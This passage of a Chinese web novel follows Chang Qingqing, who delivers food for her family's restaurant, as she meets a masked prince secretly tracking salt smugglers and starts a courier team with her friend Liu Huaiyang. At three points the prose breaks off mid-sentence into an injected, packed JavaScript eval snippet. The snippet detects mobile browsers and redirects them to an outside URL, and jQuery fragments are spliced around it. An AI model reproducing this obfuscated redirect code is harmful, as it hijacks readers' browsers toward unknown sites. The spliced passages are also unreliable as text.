小电驴吭哧吭哧嚼着牙,又呃呃大叫两声,似乎是在附和她一样,就是驴叫声音实在不堪入耳,叫人哭笑不得。 11. 布兜 小电驴乖乖屈了身子让她上去,一主一骑便朝着最后一户人家去了。 常青青还没到人家门口,便远远看见有人站在门外冲她招手。 仔细一瞧,门外的人是乔姐,原就是常订她家餐食的人,先前总是专程跑一趟。一来二去她便也熟了起来。 乔姐遥遥道:“常姑娘来的正巧!我才看到你这信纸,正商量着写好了呢,才打算送过去,竟发现你来了。” 常青青忙下驴接过她揉成一团的信纸,又仔细收好了信件,冲她道:“您放心。日后我每日都回来放信纸,若有需要您便写好了放在这处,届时我收了信递回酒楼,再将餐食送过来,您也不必费心去递帖子了。” 乔姐喜上眉梢一手握住她,塞了个小布兜子过来:“哎哟,这哪好意思让你一趟趟的跑?你们愿意送菜上门我都是头一回见,先前咱们这等寻常人家哪请得起专人来送饭菜呢!……但你还真别说,你家这外食上门的服务,当真是愈来愈好了!” 常青青被这突如其来的热情给砸懵了,一时有些不知所措,她看了一眼自己掌心里的布兜子,下意识便想推回去:“这……您太客气了,不用给我什么,这都是我应该做的。” “可千万别推来推去的!”乔姐佯装生气,眉毛一竖,将那布兜子硬生生塞进了她的怀里,“你还有事,快些忙吧,我就不耽误你了!” 说罢,转身进了屋关上大门,半点推拒的余地也没给她留。 常青青拿着布兜子愣在门外:“……哎?” 见乔姐家的宅门锁得严严实实,不像是再要同她说道什么的模样,她顿了顿,大声道:“多谢乔姐了!” 门后传来乔姐一声嚷,“哎哟!这有什么好谢的?家里自己做的东西,你快些走罢!” 常青青便从台阶上跳了下来,牵着小电驴往家走,这会子都不愿再乘驴回去,直一蹦一跳地溜达回去。 小电驴在她身后嘶叫了两声,似乎是对自己短暂失业的不满。 常青青又打开那张乔姐递过来的信纸,上面歪七扭八地写了些鬼画符似的东西。她勉强辨认出来一些个形状,推测过一遍,认出了一条鱼、一杆菜,还有几个只有偏旁部首的白字,勉勉强强猜全了乔姐想点的菜单。 乔姐不大会写字,于是只好用半写半画的方式来传达信息。但即便如此,乔姐也十分耐心地在外头等她,甚至还称赞她这上门收集信息的法子好…… 是她太疏忽了。 常青青皱着脸想,从前外卖订餐大家只用看着平台上下单即可,没几人知道菜名是什么。更何况是要写下来。但如今并不是所有人都懂得写字,少不得有人不知道那菜叫什么名字……这也便阻拦了食客订餐。 看来日后不仅要递信单,也还得抄一份菜单出来。一并交上去,若想吃什么,直接勾便是了。 若不是乔姐,她压根想不到这一层! 如此说来,真得感谢乔姐。 常青青看着手上的布兜子,随手拆开来看了一眼,竟发现是一包梅花糕点。做工虽然不算太精细,但也可见用料实在,捂在手里还有些温热,说不得是三更起来便忙活着烙出来的。 她眼眶里涌起了些热意。 乔姐点的餐食同往日没什么不同,只是今日却不知为何给她塞了这么一包点心,还如此热心…… 虽然觉得这一切都是应该做的,可被人这样一对待,顿时便心里热络了许多,先前在王公子府上遭到的冷遇的失落不知怎的,突然风吹了似的散净了。 不过是失去了一个回头客而已,还有更多的人支持常记呢。 常青青捏起一块点心塞进嘴里,用力地咀嚼着。 只要有人觉得她这事儿做的不错,那就还可以继续干下去。 她嚼了半天,糕点皮渣嚼碎了之后散发出些麸皮的味道,总算费力咽了下去,眼里蕴起的泪水没忍住,到底滚了下来。 这糕点……好难吃啊!居然还有四块…… 常青青不管不顾地用袖子呼噜着擦了擦眼睛,吸了下鼻涕,仔细将糕点一一包裹起来,收进怀里,又昂首阔步地继续往前走。 带回家给娘爹她们吃,槐阳也得尝尝! * 西连巷。 面前的这条街巷接近京城西门,整片街坊里住了不少外来人,光一条巷子里便有数家客栈。人来人往络绎不绝,可但凡仔细盘问,定有人的身份通牒经不起考验。 一个侍卫装扮的人一袭素衣,面容平平无奇,看不出任何值得人注意的亮点,仿佛丢进人堆里便消失了一样。 侍卫在人群中来回穿梭着,游刃有余地避过重重官家眼线,终于寻到西连巷内一间茶铺的小摊跟前。 他弓身抱拳,低声道:“回禀主子,先前说的那间客栈便在前面,李肆等人也传来了些新消息。” 坐在他上手的人白衫折扇,即便是坐在茶摊边上饮些客栈里不值钱的散茶,却也显出十分矜贵气度,不似此境中人。一张银制面具遮住了他大半面容,只露出一双天生带着三分笑意的唇,和轮廓分明的下颌。 “坐下说。”那人将折扇随意搁在一旁,语气肆意潇洒,一双眼里却隐隐透出些肃杀的气息。 张兆更加恭敬,只战战兢兢寻了个坐处坐了下来,却不敢坐实,这般半坐不坐,又不敢随意乱了姿态的模样,比站着或跪着都更不如意。 他低声道:“禀王爷,这次……” 周珩神情不变,只淡声问道:“你说谁?” 张兆顿时住了口,踌躇片刻改口道:“启禀…公子!” “接着说。” 这阵子周珩一行人一直在探查的便是西连巷中潜藏着的私盐贩子。 先前他派出去的密探传回消息,朝中倒卖官盐之人便是和河关道上的私盐贩子勾结在一起,滥竽充数中饱私囊。 私盐贩和朝堂之人不便交流,便是在西连巷里鱼龙混杂的客栈当中秘密传信,约定价钱,交换条件。 然而虽然探听得了这消息,可倒卖官盐之人将尾巴收得干干净净,不留一点痕迹,往往每回都在他带人追查之时将盐运移,苦于没有证据,一直抓不住把柄,又不可大肆搜查打草惊蛇,他们只好潜伏在这里一点点收集信息。 今日传来的消息便是坐落在西连巷南处的新福客栈。 据说近些日子新福客栈里头来了河关道来的一批私盐贩子。无论消息虚实,总得来探查一番。 二人一前一后走着。 西连巷内这一片一连三排都是客栈,有的歇一晚便要数两银子,简直是天价客栈,有的几十文便可寻个铺盖囫囵睡一夜。当然,这贵价客栈自不会同廉价的开在一处。 若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496758|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身无分文,寻个桥洞住下凑活一晚也不是不行,只是若被武侯逮住了,少不得有些牢狱之灾,京城不允有这等流浪儿在外。 街上熙熙攘攘的人群,来往间都似乎有事在身,目的明确。高的矮的胖的瘦的,人人都神态各异。 有些神情困顿,便见来京是为谋生,寻个差事;有的人衣着华贵,身宽体胖,一看便知有生意在此需要来往。 不久便瞧见前方的一间看着很是宽敞干净的客栈大开门迎,题匾上挂着新福客栈几个字,一见便知是西连巷内几个最为奢贵的客栈之一。 乍见之下并无异样。 张兆低声道:“这便是了。属下去打探过,新福客栈的价格在这附近不算低,是个数一数二的大客栈。” 周珩闻言道:“最近可有看到什么可疑的人?” 张兆道:“回公子的话,那日得了消息后,我已与冯朔几人一并在此处盯梢了几天。只是……” 周珩轻笑一声,折扇抵着下颌。“只是看着都不像是私盐贩?” 张兆内心讶然,面上却只道:“正是如此。” 王爷怎会知道? 他与冯朔已经在新福客栈跟前蹲守了少说有三日,每日从早到晚观察这客栈里外进出的行人。为了不打草惊蛇,甚至还派了侍卫中的李肆住进了这间客栈,借机调查客栈中暂住之人的底细。 可无论如何,都看不出什么动静。先前李肆传回的消息也可说是无甚异常。 “不必守了,回去吧。” 张兆愣了愣,旋即抱拳道:“是!” 一旁的冯朔却不管不顾,问道:“公子,这是为何?追查已久,竟就放过这些人了?” 张兆一个不慎没拦住他,忙转身抱拳请罪:“冯朔失言,还请公子恕罪!” 瞧见张兆面上紧张,眼神中却也有些许不解,周珩神色不变,“何罪之有?张兆,你不好奇?” 张兆嗫嚅道:“……回公子,属下的确也有疑惑。” 蹲守了数日,才有了些线索,便又不得不放弃追查的消息重新来过。无论他面上如何平静,心里总会犯嘀咕。 周珩踱了两步,眯起眼睛看向新福客栈里进进出出的行路人。 他淡声道:“这消息,想必是刻意放出来的。” 张兆一惊:“这——怎会……” 他先是诧异,而后才想通关键节点。 想必是皇帝派人来查盐案这事的消息传了出去,私盗官盐之人忧心引起关注,然而左等右等,等不来明面上收紧盐量或大肆巡查的消息。 查盐案的人没有动作,倒盐之人却沉不住气,忍不住想要继续倒盐的营生。于是索性主动出击,放出一批假消息来试探,引得查盐案的人上钩。 若是王爷当真查封了这客栈,身份自然不胫而走,届时人人皆知瑄王奉命彻查盐案,反倒是打草惊蛇,前功尽弃! 况且消息放出来之前,倒盐之人必定早已将盐库与约定的接头地点换了位置,不然又怎会如此放心地放出假消息,不怕引来查案之人循着蛛丝马迹查到什么线索? 而若是王爷此番假装无事发生,倒盐之人必将久而久之耐不住诱惑,总会试探着行动起来,届时,不愁捉不住他们的把柄。 想通此节,他不禁暗自感慨瑄王所见之敏锐,竟能三两下便想通其中是非。 13. 厉害 见槐阳顺利出发,常青青也便放下了心,将自己这趟的餐食打理好后带着小电驴上路了。 第一家是西连巷的有间客栈。 先前她从没去这里送过餐食,今日却突然递了一封帖子过来。想来是客栈里歇脚的住户点了几道她家的招牌菜,临时想要尝尝鲜。 这家客栈她有印象,离自家酒楼不算太远,走过去也才一里路程,时常在二楼还能看见客栈的门脸呢。 常青青道:“那边!” 小电驴顿时快驴加鞭,蹬蹬踩着步子向前进了。 走了没一会儿便到了,仰面看过去,门庭里人来人往,很是热闹,她翻身下驴,上前去劳烦伙计通传。 没多久,里头便出来一个面容冷峻的瘦高男子,看着约莫三四十岁,神情中有些诡异的阴郁。 “劳驾,您可是住在玄字间的武客官……” 男子不等她问完,便打断道:“是我订的餐食,常记酒楼的。” 对上了号,常青青便松了口气,翻找着先前抄好的食单,然而一不留神却将先前她画的地图带了出来,洒落了一地。 “抱歉抱歉……”她慌忙蹲下身去捡,将一团糟的单子打理了清正,这才直起身来。 武姓的客人目光落在常青青收进袖里的一张图纸,顿时眼神闪烁。 常青青将食单和食盒一并交给面前的人,照例笑道:“客官,常记酒楼的外送,劳您费心等候了!” 这人一身打扮简朴,却舍得花钱点这样多的好菜,看来定是个喜爱美食的人了! 听她如此说,客人收回了眼底的惊异,打量了一番才道:“……多少钱?” 常青青笑着应了:“一共七钱五十文。您客气,若有什么不合口味的尽管同我说,也可去常记酒楼跟店家亲自讲。” 客人没有应声,只闷声不吭数出银两交予她,而后拎着食盒便径直离去了。 常青青有些疑惑,却也没过多想,毕竟她还有下一家要去送呢。 匆匆出了客栈,她却觉得好像有人在盯着自己,下意识四处望了一圈,却并无什么异样。 ……或许是身子有些不舒服了。她摸了摸脑袋,将这诡异的感觉归咎于自己昨夜熬夜绘图的结果。今天必得早些歇息! 常青青拍了拍小电驴,前往下一家了。 * 晌午蒸热,已经是三月底,京中的气候带了些热气出来,尤其是在这大晌午,在日头底下跑一圈,无论如何都会出些汗。 常青青才刚到门口,便遇见一样回来的柳槐阳。槐阳拿着把不知从何而来的脏兮兮折扇,遥遥冲她挥了挥手,蹲在常记的门前忽闪忽闪地给自己扇风。 常青青从怀里掏了掏,翻出先前乔姐塞给自己的布兜子。她拿起糕点递出去一块:“怎么不进去?” “这什么?”柳槐阳随手接过,不待她回答便丢进了嘴里,而后面不改色嚼吧嚼吧吞了进去:“噢,没事!……我也是……” 她嚼着有点费力,哽着咽了下去,含糊道:“……你这哪儿来的?怎么这么硬?” 常青青看得目瞪口呆,一时也忘记了自己原是想捉弄柳槐阳,让她有难同当。本以为会因此被她揍一顿,如今看她吃得可以说是津津有味,一时震惊。想了想又明白了,是她太过想当然,竟以为槐阳会对食物挑三拣四! “呃,这是……” 好在柳槐阳也并不在意她的回答,吃完了一份接着道:“不妨事。我刚回来,在这等你一块儿进去。” 话是这么说,她的眼神却有些飘忽,手上的动作却动个没完,一会儿抓扇子一会儿摸鼻子,活像身上刺得慌。 常青青见她如此,心里隐隐明了些。 柳槐阳身上的衣衫多少有些补丁,没有常青青带路,她并不愿意自个儿进去,说不得还会引起一旁的食客的注意。 她道:“走吧,咱们一块儿去后院。” 二人一路沿着侧门绕了进去,将小电驴拴在后院的栏杆上,顺手给它掰了些苞谷豆类,让它去嚼了。 后院人少,柳槐阳的神态顿时松泛下来,又恢复了先前吊儿郎当的模样。她在怀里掏出一把碎银来,全丢给了常青青。 “呐,数数!” 一、二、三……足足有八钱! 常青青数到一半,瞠目结舌。 她先前给柳槐阳的食盒里写下的单子上,但是餐食一共六钱五十文,便是再加上三十文的跑腿的费用,也不过是七钱,何至于如此多? 不对,剩下的应当是那些人借着结饭钱给槐阳的赏钱了。 她算了一算,将六钱五十文数出来,剩下的全都交予柳槐阳。 柳槐阳叫道:“慢着慢着,你是不是多给了?” 常青青:“今日第一天,这些都是你的。就从明天开始三七分成,如何?日后还干吗?” “干!怎么不干?”柳槐阳当即道:“从今日起常姐说什么就是什么,指哪我就去哪!” 柳槐阳眼神滴溜溜一转。 这可是个好活计,无非是赔个笑脸,跑一趟就能有十来文,说不得还有赏钱。上哪去找更好的差事?再说了,她跟常青青关系不差,干活儿也不受气,若是哪天累了不想做了,也无非跑路便是!到那时钱也不少,在哪儿都能有活路! 常青青心里也打着别的主意。 若是她能将槐阳拽过来了,何愁不能再招来新的人?说不定到时候还能组建一支骑手小队,到时候大家分门别类负责片区,就能将常记的名声打响全城……还不是手拿把掐! 两个人勾肩搭背地往前走,各自转悠着各自的算盘。 谈话间,俩人已经渐渐走向堂内。 常记的生意如今稳定的好,正是饭点,人来人往,伙计端着菜穿行在食客之间,络绎不绝。 柳槐阳一个闪身,避开了一大盆煮鱼片,目送伙计将菜好端端上桌之后才放下心,继续讲着她今日送餐的体验。 “……哎,接着说。方才我去送的时候,那药铺里的人见是我来,还吓了一跳呢!你是不知道他那张脸,绿得跟什么一样,估计是又想起来之前被我耍的事儿了!就是他人怪好,莫名其妙给我多给了几十文……哎?青青,你在听吗?青青?” 扭头一看,常青青止住了步子,愣愣看向二楼的屏风。面上又惊又喜,一副失而复得的表情。 怎么回事?二楼有谁? 柳槐阳伸长脖子去张望,可惜隔着屏风,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496760|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见些衣襟和轮廓,但依稀看得出是个男子:“……你怎么了?里面是谁?” 常青青顿时有些紧张,一把将她拉了回来,转身挡住她的视线,紧张道:“不不不……你别看!” 竟然是难得的结巴了。 柳槐阳吃了一惊,指了指里头,又指了指常青青:“你这……你不会是……?”心有眷属了吧?! 蓦地想起前些日子常青青找自己打听什么有情人之间如何定情,她喋喋不休讲了一通荷包之类的事,当时见她羞红了脸,还以为是她本就小女儿心态,没想到竟是来取经的! 柳槐阳竖起眉头惊诧道:“好哇!那次你问我荷包的事情,原来就是为了你相中——” 话还没说完,便被常青青一把捂住了嘴! 常青青急得一脸通红,左右瞟一眼, 好在她娘这会儿正在结账,他爹今日去进货,酒楼里人声鼎沸,食客都在吃喝闲谈。没人注意这边引起的动静。 她拼命使眼色道:嘘——!! 柳槐阳眨了眨眼睛,只得示意着自己知道了,这才被放开。 常青青松了口气,低声埋怨道:“好姐姐,你小声一点!” 柳槐阳也配合她,忙收回了目光,低声问道:“你这……怎么回事儿啊?” 为着不挡路,她二人寻了个偏僻的地方。 常青青扭捏了一会儿,干脆自暴自弃道:“就是……我先前送餐食的时候,相中了一个人。” 柳槐阳大惊:“谁?叫什么?做什么的?!” 常青青遂一一地说了。 谈话间,常青青又仔细借着空隙看了一眼,待得瞅见那轮廓分明的侧脸,这才总算确认是那位王公子。 他先前不是说今后都不用送了? 可怎么……怎么突然又登门来拜访?这到底是什么意思呢? 她心里一团乱麻,只觉得七上八下,胸膛里一颗心砰砰直跳。 “哎哎——回魂,回魂了啊。”柳槐阳一双手在她面前挥了挥,“我能偷偷看一眼不?刚才只看到了屏风后的影子,我还啥都不知道呢!” 她也是好奇,到底是什么样的人物,惹得常青青如此春心萌动!原先还以为常青青呆头呆脑的,除了跑外食之外一概对旁的事情毫无兴趣呢。 常青青紧张道:“待会儿我带你找个角度,那块可以看到屏风后头……但是你可千万别声张!小心被看到了。” 柳槐阳比划了个手势,保准安静! 她们蹑手蹑脚地窜上了二楼常青青的卧室里头,正巧可以借着位置打掩护,斜侧着瞥见雅间里的人。 临窗处立着一个一身白衫的年轻公子,眉目如画,五官分明,端的是一个俊俏多情的书生。单论相貌,实在是朗若星辰,桃花眼底坠着的红痣更是犹如玉上沁血,格外引人注目。 若只是相貌出众倒还罢了,可偏偏这公子身段也俊美无双,一举一动皆矜贵十分。随意一瞥,便足叫人记挂。 柳槐阳躲在常青青身后,一时竟看呆了,从前的伶牙俐齿没了,现在却也结巴起来:“你……你这……” 她憋了半天,却也想不出要说什么好,最后心服口服道:“好姐姐,你可真是厉害!” 14. 等她 看过了这位神秘的心上人,柳槐阳的好奇心也便解了,遂揣着跑了两单挣来的一百来文喜滋滋出门去了,还约定好了下回再来。 待送走槐阳,常青青反倒有些冷静了下来。 她看得分明,柳槐阳眼里除了惊异,还有些许的担忧。 试问谁能不惊异?这般颜色这般身段,放在哪处的人堆里都是最亮眼的一个,走在街上被人投来的香囊都能堆成了山。但凡不是个傻子,也知道这位公子仅凭相貌,就该有多被人喜欢。 惊异过后,随之而来的便是淡淡的惆怅。 柳槐阳惊她相中的居然是这等人,却也忧她居然相中了这等人。 常青青心知肚明她忧心何事。无非是觉得这事太过异想天开,宛如癞蛤蟆肖想天鹅。这话不至于说出来,但她多少心里有数。 她早就知道王公子家世不错。别的不说,他身上穿的衣衫就不像寻常百姓常穿的粗布麻衣。 前几日她仔细留意过。王公子的衣襟旁甚至都有银丝细线绣出来的暗纹,阵脚密密细细,一点错漏线头都没有,可见其昂贵。更不用说那料子看着便上等,细致光滑,抖落起来仿佛云光霞雾,哪里是她们买得起的。 早就听说他是南边来进京赶考的富贵书生,甚至特地在此买了一进宅子,就是为了住着舒坦。这样的家世样貌,哪里看得上她呢?更不必说她还只是个寻常送餐食的商户女子,便是她送的再好,恐怕也不是王公子所喜欢的类型。 唉。 常青青叹了口气。前些日子被恋爱冲昏了头脑,今日吃了闭门羹,才清醒了点。她们原就是两个世界的人,又怎么会有结果呢? 原本今日已经断了念想,可谁知……谁知他竟主动来了! 王公子来此,莫非是巧合? 又实在不像。常记位置一般,若非特地来寻,根本不会经过。可是不让她送,又自己来吃……这到底是个什么意思? 什么样的情况下他会特地来呢?常青青越想越心乱如麻,脑袋里仿佛灌了浆糊。 难不成他将自己的话记在了心里?记着自己前两回说的常记,今日终于打算亲自来看看? 还是说,他对自己……! 打住打住!常青青猛地一下跳起来,脸红得像火烧。慌乱之下一手抄起一片抹布,出着神擦起了上一桌客人离去后剩下的桌盘。 跑堂的伙计伸出了手:“等一……”那张桌子他其实才擦过! 然而,正在她怔怔出神之时,屏风内的人却突然唤了一声。 * 周珩看着眼前呈上来的菜,顿时没了胃口,手中的筷箸实在下不去,忍了一忍,索性丢在一旁。 他皱了皱眉:“小二。” 屏风外头窸窸窣窣传来一阵动静,他抬眼看去,见到那近日频频出现的身影终于又露了面,然而这一回头也不抬,只低声问他:“客官可是有什么需要?” 先前明目张胆盯他,现在他来了,反倒如此畏首畏尾,这是几个意思? 周珩冷笑一声,字句像在唇齿间搓磨:“这道菜是怎么回事?” 啊?什么怎么回事? 常青青愣了一下,下意识抬头看他,才瞥见他那双带着冷意的唇角,便被火燎了似的缩了回去。 顺着他的视线,常青青看向那一道乳酿鱼,仔细一看,暗道不好。 乳酿鱼炖的咸鲜软烂,色泽奶白,摆盘样式亦是精美。 可就是不偏不倚,在这奶白的一锅鱼汤之中,正正巧巧洒了整整一片切得细细的香菜碎! 这把香菜碎切得刀工极好,宽窄一致,可见常洪洪的手艺愈发精进。 但怎么偏偏是在王公子这里放了这么多香菜!!昨日谷雨才偷偷说过别放香菜…… 还切得这么细,挑都挑不出来! 常青青猛地鞠了一躬:“这……实在对不起!公子,我叫人再去给您做一份。” 周珩见她如此唯唯诺诺,也失了兴致。只冷声道:“不必了,我没胃口。” “……”常青青又偷偷瞟了一眼桌子上这几道菜,眼神闪烁不定。 ……看着不像没胃口的样子啊! 周珩:“你在看什么?” “没、没什么。”常青青忙收回目光,了然道:“既如此,我做主给您退了这顿菜的钱吧,您这一餐的账算在我头上,可以吗?” 周珩看她如此应答,反倒语带不虞,隐隐透出些寒意:“怎么?我看起来像是差这几个钱?” 常青青便呆住了。 这……她之前没处理过这种事情啊! 先前餐洒了,最多也就是赔钱,客人也都会把差评改成好评。毕竟出门在外,谁也不想花钱买罪受。可现在王公子一不要重做二不要退钱,这到底是想要什么……? 她讷讷道:“那……那公子您说,需要做什么,能办到的我们一定尽力。” 周珩顿了一顿:“你今日——” 他原先想问她去西进巷的有间客栈做什么,又觉得此事未必与她有关,如此声张反倒不妥。 话到嘴边便咽了下去,只道:“你今日怎么没来送餐?” 话一出口,他便有些懊恼。 常青青目瞪口呆,竟连老老实实低着头也忘记了,直戳戳看他,满心都是被倒打一耙的震惊和迷惑。 “……啊?”不是因为您没定餐吗?还有小满姑娘同我讲不用再送…… “那,那是因为公子您……” 周珩似是有些不耐,打断她道:“不必解释。每日等你来回实在麻烦,日后我若需要,自会过来。你先下去吧。” 他说了这么一堆,常青青左耳进右耳出,只记住了几个字。 每日等你……每日等你…… 她的世界里顿时泛起了许多白乎乎粉晶晶的泡泡。 他每日都在等她诶! * 常青青是飘着出去的。 可是走到一半,身后又传来一声嘱咐。 “对了。先前谷雨跟你说的事,不要声张。” 常青青反应了一会儿,才想起来他指的是什么。 那日谷雨跟自己说罢,也让自己不要声张。 虽然不是很理解为什么吃香菜的习惯也不愿意让别人知道,难道是王公子的偶像包袱?不允许别人知道他挑食?她乱七八糟地猜想,心底偷偷笑了起来。 但是……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496761|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>常青青打包票道:“放心,我一定会为公子您守好秘密的!” 不止如此,若他下次再来吃饭,一定得看住常洪洪别让他放香菜! 王公子的香菜清除计划由她来守护! “……”看着她坚定到几乎有些视死如归的神情,周珩竟一时不知道说什么好,顿了顿才道,“没别的了。” 见她出了雅间,周珩按了按额角,长出了一口气。 ……实在难以理解自己方才情急之下都说了什么出口。 但无论如何,今日确是发现了一处好地方。 没想到这常记的位置如此得天独厚,正巧位于这处,几乎将大半条西连巷都能看得清楚。 站在窗前,便对几间大客栈里来来往往的人一览无余。 折扇一收,周珩轻点窗棂,发出不规律的笃笃声。 有间客栈里里外外鱼龙混杂,若想将此作为据点,潜入进去碰头交流信息,再是合适不过。而京城西南角少说有几处通往京城外的门,或许还有水道可从此处走。 若是想要运盐出去,在客栈里商议好了再转运出去便可。 无论如何,先得紧盯这处。 如此一来,日后这常记便得常来了。 倒是常青青…… 他皱了皱眉头,若她不来时时刻刻地围着自己,便也可相安共处,当作无事发生。 * 步出了雅间,常青青回到了自己的房间,满脑子都塞了浆糊。 方才乍然见到王公子,又被他如此好言相待,还说日后要常来她家酒楼……她到现在还没回过神来! 不止如此,今天一天实在是太过跌宕起伏,得而复失而复得,心情起起落落,险些让她吃不消。 一开始她原以为散出订单的主意能广受好评,信心满满地去了,可没成想,初出茅庐便被王公子来了当头一棒,而后又是几乎一路都没有回响,可却被乔姐如此热心地对待…… 啊!对了,乔姐! 她忙拍了拍晕乎乎的脑袋,将自己满心满眼的粉红泡泡抖落了干净,赶忙去整理今日她记下来的还要忙的事项。 正事要紧! 常青青寻来了纸笔,在纸上写写画画。 这个世界的文字同她先前用的文字虽有些差别,可她每每提笔便无师自通,知道生字如何书写,想来是从前的常青青颇识得许多字,字迹也练得颇为整齐,叫她不至于穿帮。 第一件事。 将每日收集信息的单子改成菜单,最好是可以写出来菜名让人圈选,省去了写字不便之人的烦恼。 这个倒是可以每日她自己抄一抄…… 想至此处,她记上一笔。 菜单须得改成有全称的! 第二件事。 今日总算拉槐阳入伙,还算顺利。看样子日后便可以她来负责收集信息,而后将一部分外送的工作分给槐阳和店内的伙计小孟……这样一来,常家少说就有三个负责专送的人了。 常青青咬着笔头,细细记上一句。 仔细写好后拾起纸张,细细吹了一吹,待得上头墨痕干了之后,她满意地笑了。 常记外送小分队正式成立!